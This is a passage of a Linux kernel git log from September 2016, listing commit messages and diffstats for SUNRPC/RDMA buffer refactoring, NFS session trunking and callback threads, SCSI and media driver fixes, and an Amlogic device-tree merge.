Thu Sep 15 10:56:51 2016 -0400 xprtrdma: Move recv_wr to struct rpcrdma_rep Clean up: The fields in the recv_wr do not vary. There is no need to initialize them before each ib_post_recv(). This removes a large-ish data structure from the stack. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/verbs.c | 13 ++++++------- net/sunrpc/xprtrdma/xprt_rdma.h | 1 + 2 files changed, 7 insertions(+), 7 deletions(-) commit 90aab6029606152d3d7ea91b41064580f77d7d19 Author: Chuck Lever Date: Thu Sep 15 10:56:43 2016 -0400 xprtrdma: Move send_wr to struct rpcrdma_req Clean up: Most of the fields in each send_wr do not vary. There is no need to initialize them before each ib_post_send(). This removes a large-ish data structure from the stack. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 3 ++- net/sunrpc/xprtrdma/rpc_rdma.c | 5 +++-- net/sunrpc/xprtrdma/verbs.c | 36 +++++++++++++++++------------------- net/sunrpc/xprtrdma/xprt_rdma.h | 4 ++-- 4 files changed, 24 insertions(+), 24 deletions(-) commit b157380af1941a43f3cfa244db1018f717031a42 Author: Chuck Lever Date: Thu Sep 15 10:56:35 2016 -0400 xprtrdma: Simplify rpcrdma_ep_post_recv() Clean up. Since commit fc66448549bb ("xprtrdma: Split the completion queue"), rpcrdma_ep_post_recv() no longer uses the "ep" argument. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 2 +- net/sunrpc/xprtrdma/rpc_rdma.c | 2 +- net/sunrpc/xprtrdma/verbs.c | 9 ++------- net/sunrpc/xprtrdma/xprt_rdma.h | 3 +-- 4 files changed, 5 insertions(+), 11 deletions(-) commit 13650c23f10603154d989cff70b5c8a889e69fc2 Author: Chuck Lever Date: Thu Sep 15 10:56:26 2016 -0400 xprtrdma: Eliminate "ia" argument in rpcrdma_{alloc, free}_regbuf Clean up. The "ia" argument is no longer used. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 7 +++---- net/sunrpc/xprtrdma/transport.c | 11 +++++------ net/sunrpc/xprtrdma/verbs.c | 28 ++++++++++++---------------- net/sunrpc/xprtrdma/xprt_rdma.h | 8 +++----- 4 files changed, 23 insertions(+), 31 deletions(-) commit 54cbd6b0c6b9410782da3efe7377d43bb636faaf Author: Chuck Lever Date: Thu Sep 15 10:56:18 2016 -0400 xprtrdma: Delay DMA mapping Send and Receive buffers Currently, each regbuf is allocated and DMA mapped at the same time. This is done during transport creation. When a device driver is unloaded, every DMA-mapped buffer in use by a transport has to be unmapped, and then remapped to the new device if the driver is loaded again. Remapping will have to be done _after_ the connect worker has set up the new device. But there's an ordering problem: call_allocate, which invokes xprt_rdma_allocate which calls rpcrdma_alloc_regbuf to allocate Send buffers, happens _before_ the connect worker can run to set up the new device. Instead, at transport creation, allocate each buffer, but leave it unmapped. Once the RPC carries these buffers into ->send_request, by which time a transport connection should have been established, check to see that the RPC's buffers have been DMA mapped. If not, map them there. When device driver unplug support is added, it will simply unmap all the transport's regbufs, but it doesn't have to deallocate the underlying memory. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 8 +++++ net/sunrpc/xprtrdma/rpc_rdma.c | 9 +++++ net/sunrpc/xprtrdma/verbs.c | 71 +++++++++++++++++++++++++-------------- net/sunrpc/xprtrdma/xprt_rdma.h | 16 +++++++++ 4 files changed, 78 insertions(+), 26 deletions(-) commit 99ef4db329f1ee2413dad49346e72a6c902474d1 Author: Chuck Lever Date: Thu Sep 15 10:56:10 2016 -0400 xprtrdma: Replace DMA_BIDIRECTIONAL The use of DMA_BIDIRECTIONAL is discouraged by DMA-API.txt. Fortunately, xprtrdma now knows which direction I/O is going as soon as it allocates each regbuf. The RPC Call and Reply buffers are no longer the same regbuf. They can each be labeled correctly now. The RPC Reply buffer is never part of either a Send or Receive WR, but it can be part of Reply chunk, which is mapped and registered via ->ro_map . So it is not DMA mapped when it is allocated (DMA_NONE), to avoid a double- mapping. Since Receive buffers are no longer DMA_BIDIRECTIONAL and their contents are never modified by the host CPU, DMA-API-HOWTO.txt suggests that a DMA sync before posting each buffer should be unnecessary. (See my_card_interrupt_handler). Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 5 ++-- net/sunrpc/xprtrdma/transport.c | 7 ++--- net/sunrpc/xprtrdma/verbs.c | 55 ++++++++++++++++++--------------------- net/sunrpc/xprtrdma/xprt_rdma.h | 4 ++- 4 files changed, 36 insertions(+), 35 deletions(-) commit 08cf2efd5423121985af5962d66e6db14dff4130 Author: Chuck Lever Date: Thu Sep 15 10:56:02 2016 -0400 xprtrdma: Use smaller buffers for RPC-over-RDMA headers Commit 949317464bc2 ("xprtrdma: Limit number of RDMA segments in RPC-over-RDMA headers") capped the number of chunks that may appear in RPC-over-RDMA headers. The maximum header size can be estimated and fixed to avoid allocating buffer space that is never used. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 5 ++--- net/sunrpc/xprtrdma/transport.c | 2 +- net/sunrpc/xprtrdma/xprt_rdma.h | 5 ++++- 3 files changed, 7 insertions(+), 5 deletions(-) commit 9c40c49f145f8999ecbf81683aeb31d92b61b966 Author: Chuck Lever Date: Thu Sep 15 10:55:53 2016 -0400 xprtrdma: Initialize separate RPC call and reply buffers RPC-over-RDMA needs to separate its RPC call and reply buffers. o When an RPC Call is sent, rq_snd_buf is DMA mapped for an RDMA Send operation using DMA_TO_DEVICE o If the client expects a large RPC reply, it DMA maps rq_rcv_buf as part of a Reply chunk using DMA_FROM_DEVICE The two mappings are for data movement in opposite directions. DMA-API.txt suggests that if these mappings share a DMA cacheline, bad things can happen. This could occur in the final bytes of rq_snd_buf and the first bytes of rq_rcv_buf if the two buffers happen to share a DMA cacheline. On x86_64 the cacheline size is typically 8 bytes, and RPC call messages are usually much smaller than the send buffer, so this hasn't been a noticeable problem. But the DMA cacheline size can be larger on other platforms. Also, often rq_rcv_buf starts most of the way into a page, thus an additional RDMA segment is needed to map and register the end of that buffer. Try to avoid that scenario to reduce the cost of registering and invalidating Reply chunks. Instead of carrying a single regbuf that covers both rq_snd_buf and rq_rcv_buf, each struct rpcrdma_req now carries one regbuf for rq_snd_buf and one regbuf for rq_rcv_buf. Some incidental changes worth noting: - To clear out some spaghetti, refactor xprt_rdma_allocate. - The value stored in rg_size is the same as the value stored in the iov.length field, so eliminate rg_size Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/transport.c | 150 +++++++++++++++++++++++++--------------- net/sunrpc/xprtrdma/verbs.c | 2 +- net/sunrpc/xprtrdma/xprt_rdma.h | 6 +- 3 files changed, 99 insertions(+), 59 deletions(-) commit 5a6d1db4556940533f1a5b6521e522f3e46508ed Author: Chuck Lever Date: Thu Sep 15 10:55:45 2016 -0400 SUNRPC: Add a transport-specific private field in rpc_rqst Currently there's a hidden and indirect mechanism for finding the rpcrdma_req that goes with an rpc_rqst. It depends on getting from the rq_buffer pointer in struct rpc_rqst to the struct rpcrdma_regbuf that controls that buffer, and then to the struct rpcrdma_req it goes with. This was done back in the day to avoid the need to add a per-rqst pointer or to alter the buf_free API when support for RPC-over-RDMA was introduced. I'm about to change the way regbuf's work to support larger inline thresholds. Now is a good time to replace this indirect mechanism with something that is more straightforward. I guess this should be considered a clean up. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker include/linux/sunrpc/xprt.h | 1 + net/sunrpc/xprtrdma/backchannel.c | 6 ++---- net/sunrpc/xprtrdma/transport.c | 2 +- net/sunrpc/xprtrdma/verbs.c | 1 - net/sunrpc/xprtrdma/xprt_rdma.h | 13 +++++++------ 5 files changed, 11 insertions(+), 12 deletions(-) commit 68778945e46f143ed7974b427a8065f69a4ce944 Author: Chuck Lever Date: Thu Sep 15 10:55:37 2016 -0400 SUNRPC: Separate buffer pointers for RPC Call and Reply messages For xprtrdma, the RPC Call and Reply buffers are involved in real I/O operations. To start with, the DMA direction of the I/O for a Call is opposite that of a Reply. In the current arrangement, the Reply buffer address is on a four-byte alignment just past the call buffer. Would be friendlier on some platforms if that was at a DMA cache alignment instead. Because the current arrangement allocates a single memory region which contains both buffers, the RPC Reply buffer often contains a page boundary in it when the Call buffer is large enough (which is frequent). It would be a little nicer for setting up DMA operations (and possible registration of the Reply buffer) if the two buffers were separated, well-aligned, and contained as few page boundaries as possible. Now, I could just pad out the single memory region used for the pair of buffers. But frequently that would mean a lot of unused space to ensure the Reply buffer did not have a page boundary. Add a separate pointer to rpc_rqst that points right to the RPC Reply buffer. This makes no difference to xprtsock, but it will help xprtrdma in subsequent patches. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker include/linux/sunrpc/xprt.h | 5 +++-- net/sunrpc/clnt.c | 2 +- net/sunrpc/sched.c | 1 + net/sunrpc/xprtrdma/transport.c | 1 + 4 files changed, 6 insertions(+), 3 deletions(-) commit 3435c74aed2d7b743ccbf34616c523ebee7be943 Author: Chuck Lever Date: Thu Sep 15 10:55:29 2016 -0400 SUNRPC: Generalize the RPC buffer release API xprtrdma needs to allocate the Call and Reply buffers separately. TBH, the reliance on using a single buffer for the pair of XDR buffers is transport implementation-specific. Instead of passing just the rq_buffer into the buf_free method, pass the task structure and let buf_free take care of freeing both XDR buffers at once. There's a micro-optimization here. In the common case, both xprt_release and the transport's buf_free method were checking if rq_buffer was NULL. Now the check is done only once per RPC. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker include/linux/sunrpc/sched.h | 2 +- include/linux/sunrpc/xprt.h | 2 +- net/sunrpc/sched.c | 10 ++++------ net/sunrpc/xprt.c | 2 +- net/sunrpc/xprtrdma/svc_rdma_backchannel.c | 2 +- net/sunrpc/xprtrdma/transport.c | 26 ++++++++++---------------- net/sunrpc/xprtrdma/xprt_rdma.h | 1 - net/sunrpc/xprtsock.c | 6 ++---- 8 files changed, 20 insertions(+), 31 deletions(-) commit 5fe6eaa1f9a00b9a5927e3b791ecad2f3eaab130 Author: Chuck Lever Date: Thu Sep 15 10:55:20 2016 -0400 SUNRPC: Generalize the RPC buffer allocation API xprtrdma needs to allocate the Call and Reply buffers separately. TBH, the reliance on using a single buffer for the pair of XDR buffers is transport implementation-specific. Transports that want to allocate separate Call and Reply buffers will ignore the "size" argument anyway. Don't bother passing it. The buf_alloc method can't return two pointers. Instead, make the method's return value an error code, and set the rq_buffer pointer in the method itself. This gives call_allocate an opportunity to terminate an RPC instead of looping forever when a permanent problem occurs. If a request is just bogus, or the transport is in a state where it can't allocate resources for any request, there needs to be a way to kill the RPC right there and not loop. This immediately fixes a rare problem in the backchannel send path, which loops if the server happens to send a CB request whose call+reply size is larger than a page (which it shouldn't do yet). One more issue: looks like xprt_inject_disconnect was incorrectly placed in the failure path in call_allocate. It needs to be in the success path, as it is for other call-sites. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker include/linux/sunrpc/sched.h | 2 +- include/linux/sunrpc/xprt.h | 2 +- net/sunrpc/clnt.c | 12 ++++++++---- net/sunrpc/sched.c | 24 +++++++++++++++--------- net/sunrpc/xprtrdma/svc_rdma_backchannel.c | 17 +++++++++-------- net/sunrpc/xprtrdma/transport.c | 26 ++++++++++++++++++-------- net/sunrpc/xprtsock.c | 17 +++++++++++------ 7 files changed, 63 insertions(+), 37 deletions(-) commit b9c5bc03be6aae41990efd09f83cf70a89ac9f4b Author: Chuck Lever Date: Thu Sep 15 10:55:12 2016 -0400 SUNRPC: Refactor rpc_xdr_buf_init() Clean up: there is some XDR initialization logic that is common to the forward channel and backchannel. Move it to an XDR header so it can be shared. rpc_rqst::rq_buffer points to a buffer containing big-endian data. Update its annotation as part of the clean up. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker include/linux/sunrpc/xdr.h | 12 ++++++++++++ include/linux/sunrpc/xprt.h | 2 +- net/sunrpc/backchannel_rqst.c | 8 +------- net/sunrpc/clnt.c | 24 ++++++------------------ net/sunrpc/xprtrdma/backchannel.c | 12 +----------- 5 files changed, 21 insertions(+), 37 deletions(-) commit eb342e9a38a5ad79866fec2df2d3ca4592bc501b Author: Chuck Lever Date: Thu Sep 15 10:55:04 2016 -0400 xprtrdma: Eliminate INLINE_THRESHOLD macros Clean up: r_xprt is already available everywhere these macros are invoked, so just dereference that directly. RPCRDMA_INLINE_PAD_VALUE is no longer used, so it can simply be removed. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 4 ++-- net/sunrpc/xprtrdma/rpc_rdma.c | 2 +- net/sunrpc/xprtrdma/transport.c | 6 +++--- net/sunrpc/xprtrdma/xprt_rdma.h | 9 --------- 4 files changed, 6 insertions(+), 15 deletions(-) commit 04fa2c6bb51b1bf34a49007e0cd824bde39eeac0 Author: Andy Adamson Date: Fri Sep 9 09:22:29 2016 -0400 NFS pnfs data server multipath session trunking Try all multipath addresses for a data server. The first address that successfully connects and creates a session is the DS mount address. All subsequent addresses are tested for session trunking and added as aliases. Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker fs/nfs/internal.h | 3 +++ fs/nfs/nfs4_fs.h | 6 ++++++ fs/nfs/nfs4proc.c | 33 +++++++++++++++++++++++++++++++ fs/nfs/pnfs_nfs.c | 58 +++++++++++++++++++++++++++++++++++++++++-------------- 4 files changed, 86 insertions(+), 14 deletions(-) commit ad0849a7efc3bebbb5b9385225085abdae3911b0 Author: Andy Adamson Date: Fri Sep 9 09:22:28 2016 -0400 NFS test session trunking with exchange id Use an async exchange id call to test for session trunking To conform with RFC 5661 section 18.35.4, the Non-Update on Existing Clientid case, save the exchange id verifier in cl_confirm and use it for the session trunking exhange id test. Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker fs/nfs/nfs4client.c | 10 +++++++--- fs/nfs/nfs4proc.c | 45 +++++++++++++++++++++++++++++++++++++-------- 2 files changed, 44 insertions(+), 11 deletions(-) commit 04ea1b3e6d8ed4978bb608c1748530af3de8c274 Author: Andy Adamson Date: Fri Sep 9 09:22:27 2016 -0400 NFS add xprt switch addrs test to match client Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker fs/nfs/client.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit fda0ab41170ee0a1c7a3781ff8cfb4395c3dd784 Author: Andy Adamson Date: Fri Sep 9 09:22:26 2016 -0400 SUNRPC: rpc_clnt_add_xprt setup function for NFS layer Use a setup function to call into the NFS layer to test an rpc_xprt for session trunking so as to not leak the rpc_xprt_switch into the nfs layer. Search for the address in the rpc_xprt_switch first so as not to put an unnecessary EXCHANGE_ID on the wire. Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker include/linux/sunrpc/clnt.h | 12 +++++++++ net/sunrpc/clnt.c | 64 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 76 insertions(+) commit 39e5d2df959dd4aea81fa33d765d2a5cc67a0512 Author: Andy Adamson Date: Fri Sep 9 09:22:25 2016 -0400 SUNRPC search xprt switch for sockaddr Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker include/linux/sunrpc/clnt.h | 2 ++ include/linux/sunrpc/xprtmultipath.h | 2 ++ net/sunrpc/clnt.c | 15 +++++++++++++++ net/sunrpc/xprtmultipath.c | 24 +++++++++++++++++++++++- 4 files changed, 42 insertions(+), 1 deletion(-) commit dd69171769cf4649a7ff3755e91cbd242a833727 Author: Andy Adamson Date: Fri Sep 9 09:22:24 2016 -0400 SUNRPC rpc_clnt_xprt_switch_add_xprt Give the NFS layer access to the rpc_xprt_switch_add_xprt function Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker include/linux/sunrpc/clnt.h | 1 + net/sunrpc/clnt.c | 7 +++++++ 2 files changed, 8 insertions(+) commit 3b58a8a9049d5e191402665c339690a148504358 Author: Andy Adamson Date: Fri Sep 9 09:22:23 2016 -0400 SUNRPC rpc_clnt_xprt_switch_put Give the NFS layer access to the xprt_switch_put function Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker include/linux/sunrpc/clnt.h | 2 ++ net/sunrpc/clnt.c | 6 ++++++ 2 files changed, 8 insertions(+) commit 7705f6abbb75ff8058e785a3f2e03b8c3962cfa3 Author: Andy Adamson Date: Fri Sep 9 09:22:22 2016 -0400 SUNRPC remove rpc_task_release_client from rpc_task_set_client rpc_task_set_client is only called from rpc_run_task after rpc_new_task and rpc_task_release_client is not needed as the task is new. When called from rpc_new_task, rpc_task_set_client also removed the assigned rpc_xprt which is not desired. Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker net/sunrpc/clnt.c | 1 - 1 file changed, 1 deletion(-) commit ba84db96aa07995b853db403a3eba2249f0fa4e3 Author: Andy Adamson Date: Fri Sep 9 09:22:21 2016 -0400 NFS detect session trunking Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker fs/nfs/nfs4_fs.h | 2 ++ fs/nfs/nfs4client.c | 90 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 92 insertions(+) commit e7b7cbf662deb857539cd4b594451ea89c4d7ee6 Author: Andy Adamson Date: Fri Sep 9 09:22:20 2016 -0400 NFS refactor nfs4_check_serverowner_major_id For session trunking, to compare nfs41_exchange_id_res with existing nfs_client Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker fs/nfs/nfs4client.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 8e548edb4006c126e4aafba26a80c924e82fd2b4 Author: Andy Adamson Date: Fri Sep 9 09:22:19 2016 -0400 NFS refactor nfs4_match_clientids For session trunking, to compare nfs41_exchange_id_res with exiting nfs_client. Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker fs/nfs/nfs4client.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 8d89bd70bc93914359fca3f7fbe2bde9556bcf76 Author: Andy Adamson Date: Fri Sep 9 09:22:18 2016 -0400 NFS setup async exchange_id Testing an rpc_xprt for session trunking should not delay application progress over already established transports. Setup exchange_id to be able to be an async call to test an rpc_xprt for session trunking use. Signed-off-by: Andy Adamson Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 215 ++++++++++++++++++++++++++++++++++-------------------- 1 file changed, 134 insertions(+), 81 deletions(-) commit 5405fc44c3377358205ab4095fe9c44716aa0900 Author: Trond Myklebust Date: Mon Aug 29 20:03:52 2016 -0400 NFSv4.x: Add kernel parameter to control the callback server Add support for the kernel parameter nfs.callback_nr_threads to set the number of threads that will be assigned to the callback channel. Add support for the kernel parameter nfs.nfs.max_session_cb_slots to set the maximum size of the callback channel slot table. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker Documentation/kernel-parameters.txt | 12 ++++++++++++ fs/nfs/callback.c | 5 ++++- fs/nfs/callback.h | 3 ++- fs/nfs/nfs4_fs.h | 1 + fs/nfs/nfs4proc.c | 7 +++---- fs/nfs/nfs4session.h | 1 + fs/nfs/super.c | 10 ++++++++++ 7 files changed, 33 insertions(+), 6 deletions(-) commit bb6aeba736ba9fd4d9569eec4bc3f7aecb42162a Author: Trond Myklebust Date: Mon Aug 29 20:03:51 2016 -0400 NFSv4.x: Switch to using svc_set_num_threads() to manage the callback threads This will allow us to bump the number of callback threads at will. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/callback.c | 79 +++++++++---------------------------------------------- fs/nfs/callback.h | 2 ++ 2 files changed, 15 insertions(+), 66 deletions(-) commit 3b01c11ee8bfa9d5d14b028e9fbe861a0f22d328 Author: Trond Myklebust Date: Mon Aug 29 20:03:50 2016 -0400 NFSv4.x: Fix up the global tracking of the callback server Ensure that the nfs_callback_info[] array correctly tracks the struct svc_serv. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/callback.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit d00252688604edfd07d0e11a05d3a2b7cf05bb3d Author: Trond Myklebust Date: Mon Aug 29 20:03:49 2016 -0400 SUNRPC: Initialise struct svc_serv backchannel fields during __svc_create() Clean up. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/callback.c | 3 --- net/sunrpc/svc.c | 17 +++++++++++++++++ 2 files changed, 17 insertions(+), 3 deletions(-) commit f4b52bb0842642a781a23dd36ae364253e03fdb4 Author: Trond Myklebust Date: Mon Aug 29 20:03:48 2016 -0400 NFSv4.x: Set up struct svc_serv_ops for the callback channel In order to manage the threads using svc_set_num_threads, we need to fill in a few extra fields. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/callback.c | 57 +++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 39 insertions(+), 18 deletions(-) commit 3132e49ecef9dab43d858d8e7066662c6a1efb16 Author: Jeff Layton Date: Wed Aug 10 15:58:24 2016 -0400 pnfs: track multiple layout types in fsinfo structure Current NFSv4.1/pNFS client assumes that MDS supports only one layout type. While it's true for most existing servers, nevertheless, this can be change in the near future. For now, this patch just plumbs in the ability to track a list of layouts in the fsinfo structure. The existing behavior of the client is preserved, by having it just select the first entry in the list. Signed-off-by: Tigran Mkrtchyan Signed-off-by: Jeff Layton Reviewed-by: J. Bruce Fields Signed-off-by: Anna Schumaker fs/nfs/client.c | 2 +- fs/nfs/nfs4xdr.c | 23 ++++++++++------------- fs/nfs/pnfs.c | 27 ++++++++++++++++----------- fs/nfs/pnfs.h | 4 ++-- include/linux/nfs_xdr.h | 7 ++++++- 5 files changed, 35 insertions(+), 28 deletions(-) commit 2813b626e395f9de1ca0549c1c7d2217c1ce80ea Author: Amitoj Kaur Chawla Date: Mon Aug 8 14:43:49 2016 +0530 sunrpc: Remove unnecessary variable The variable `err` is not used anywhere and just returns the predefined value `0` at the end of the function. Hence, remove the variable and return 0 explicitly. Signed-off-by: Amitoj Kaur Chawla Signed-off-by: Anna Schumaker net/sunrpc/clnt.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 2bbadafbe4eacab57aa7bc8e50287c1366303807 Author: Rui Miguel Silva Date: Mon Sep 19 17:07:59 2016 +0100 staging: greybus: MAINTAINERS: add greybus protocol drivers maintainers Add me to some Greybus protocol drivers maintainers, spi, sdio, power supply, light and gpio. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 629c1fb53717436ea0575daa1ae889e06bb13f71 Author: Greg Kroah-Hartman Date: Mon Sep 19 18:23:19 2016 +0200 staging: greybus: add some MAINTAINERS Johan and Alex and I are going to maintain the greybus code, so add it to MAINTAINERS so we get cc:ed on patches. Acked-by: Johan Hovold Acked-by: Alex Elder Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit a58d1191ca04ffa8b14dcda5df0c87a2a642d3c7 Author: Jean Delvare Date: Thu Sep 8 12:25:16 2016 -0300 [media] cec: fix Kconfig help text MEDIA_CEC is no longer a tristate option, so the user can't actually choose M. Whether the code is built-in or built as a module is decided somewhere else. Fixes: 5bb2399a4fe4 ("[media] cec: fix Kconfig dependency problems") Signed-off-by: Jean Delvare Cc: Arnd Bergmann Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/cec/Kconfig | 3 --- 1 file changed, 3 deletions(-) commit 58584b28a8e57f1262d3c90e8f454f3793f6e8e9 Author: Johan Fjeldtvedt Date: Wed Sep 7 08:01:11 2016 -0300 [media] pulse8-cec: store logical address mask In addition to setting the ACK mask, also set the logical address mask setting in the dongle. This (and not the ACK mask) is persisted for use in autonomous mode. The logical address mask to use is deduced from the primary device type in adap->log_addrs. Signed-off-by: Johan Fjeldtvedt Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/pulse8-cec/pulse8-cec.c | 34 +++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) commit 2f3e77323d3159cb6c2a002fa6c58ba22e7c837e Author: Baoyou Xie Date: Sun Sep 18 20:07:59 2016 +0800 scsi: megaraid_sas: clean function declarations in megaraid_sas_base.c up We get a few warnings when building kernel with W=1: drivers/scsi/megaraid/megaraid_sas_fusion.c:281:1: warning: no previous prototype for 'megasas_free_cmds_fusion' [-Wmissing-prototypes] drivers/scsi/megaraid/megaraid_sas_fusion.c:714:1: warning: no previous prototype for 'megasas_ioc_init_fusion' [-Wmissing-prototypes] .... In fact, these functions are declared in drivers/scsi/megaraid/megaraid_sas_base.c, but should be declared in a header file, thus can be recognized in other file. So this patch adds the declarations into drivers/scsi/megaraid/megaraid_sas_fusion.h. Signed-off-by: Baoyou Xie Acked-by: Sumit Saxena Signed-off-by: Martin K. Petersen drivers/scsi/megaraid/megaraid_sas_base.c | 13 ------------- drivers/scsi/megaraid/megaraid_sas_fusion.h | 9 +++++++++ 2 files changed, 9 insertions(+), 13 deletions(-) commit 87adbe08b644cd4dfa078ec1a09be7d2b24ce97d Author: Brian King Date: Fri Sep 16 16:51:37 2016 -0500 scsi: ipr: Remove redundant messages at adapter init time Whenever multiple HRRQs are enabled, which is the default setting now, we end up seeing the following message logged prior to initialization of each HRRQ: Starting IOA initialization sequence This results in 16 of these messages on most adapters, which serves little purpose. Change to just log this once. Signed-off-by: Brian King Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Martin K. Petersen drivers/scsi/ipr.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7b3871fd17a2092b21e44d614706bcb495389559 Author: Brian King Date: Fri Sep 16 16:51:36 2016 -0500 scsi: ipr: Don't log unnecessary 9084 error details A 9084 error gets logged by the ipr adapter when adapter raw mode gets enabled. A bunch of unformatted hex data also gets logged for this error, which is of little use, so let's avoid logging it by default in order to avoid the log getting polluted with useless data. Signed-off-by: Brian King Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Martin K. Petersen drivers/scsi/ipr.c | 6 +++--- drivers/scsi/ipr.h | 1 + 2 files changed, 4 insertions(+), 3 deletions(-) commit 33c45ef8adc8a7cf781b2566d50e6ea8e97b3596 Author: Gregory CLEMENT Date: Mon Sep 19 12:02:50 2016 +0200 ARM: mvebu: Select corediv clk for all mvebu v7 SoC Since the commit bd3677ff31a3 ("clk: mvebu: Remove corediv clock from Armada XP"), the corediv clk is no more selected for Armada XP, however this clock is used for Armada XP using the compatible armada-370-corediv-clock. While since commit 1594d568c6e3 ("clk: mvebu: Move corediv config to mvebu config") Armada 38x and Armada 375 got corediv support again, not only Armada XP was missed but also Armada 39x. Actually all the SoC selecting MVEBU_V7 config need this clock: git grep "\-corediv-clock" arch/arm/boot/dts arch/arm/boot/dts/armada-370-xp.dtsi: compatible = "marvell,armada-370-corediv-clock"; arch/arm/boot/dts/armada-375.dtsi: compatible = "marvell,armada-375-corediv-clock"; arch/arm/boot/dts/armada-38x.dtsi: compatible = "marvell,armada-380-corediv-clock"; arch/arm/boot/dts/armada-39x.dtsi: compatible = "marvell,armada-390-corediv-clock" This commit now fixes this behavior by letting MVEBU_V7 select MVEBU_CLK_COREDIV. Fixes: bd3677ff31a3 ("clk: mvebu: Remove corediv clock from Armada XP") Cc: stable@vger.kernel.org Reported-by: Uwe Kleine-König Acked-by: Uwe Kleine-König Signed-off-by: Gregory CLEMENT arch/arm/mach-mvebu/Kconfig | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit e018ef572ba4ff17caa9e82d5e1b5cea0d76f903 Author: kevin Barnett Date: Fri Sep 16 15:01:51 2016 -0500 scsi: smartpqi: raid bypass lba calculation fix In the ioaccel path, the calculation of the starting LBA for READ(6)/WRITE(6) SCSI commands does not take into account the most significant 5 bits of the LBA: it only uses the least significant 16 bits of the starting LBA. Reported-by: Mahesh Rajashekhara Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit abbada7175999fbd6500b8144e985b779588962f Author: Mahesh Rajashekhara Date: Fri Sep 16 14:54:23 2016 -0500 scsi: hpsa: correct scsi 6byte lba calculation Missing 5 bits of byte 1 in the LBA issued by SML. Reported-by: Mahesh Rajashekhara Reviewed-by: Scott Teel Reviewed-by: Kevin Barnett Signed-off-by: Mahesh Rajashekhara Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 09d6e35fdf10f94465620a195da8eaf0b81966bd Author: Hans Verkuil Date: Wed Sep 7 07:48:41 2016 -0300 [media] v4l-drivers/fourcc.rst: fix typo Linux4Linux -> Video4Linux Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/v4l-drivers/fourcc.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c3a66272d681403a8111ed14b5708f237d77b867 Merge: 53570cb e1e4a1a Author: Arnd Bergmann Date: Mon Sep 19 17:53:38 2016 +0200 Merge tag 'amlogic-dt64-2' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic into next/late Pull "Amlogic 64-bit DT changes for v4.9, round 2" from Kevin Hilman: Primarily adding support for newly added drivers - USB host - I2C - SPI flash controller - PWM - mailbox, MHU - pinctrl: add pins for SPI, I2C, SDIO and then enabling these drivers on various boards. * tag 'amlogic-dt64-2' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic: ARM64: dts: meson-gxbb-vega-s95: Enable USB Nodes ARM64: dts: meson-gxbb-p20x: Enable USB Nodes ARM64: dts: meson-gxbb: add USB Nodes ARM64: dts: gxbb: add 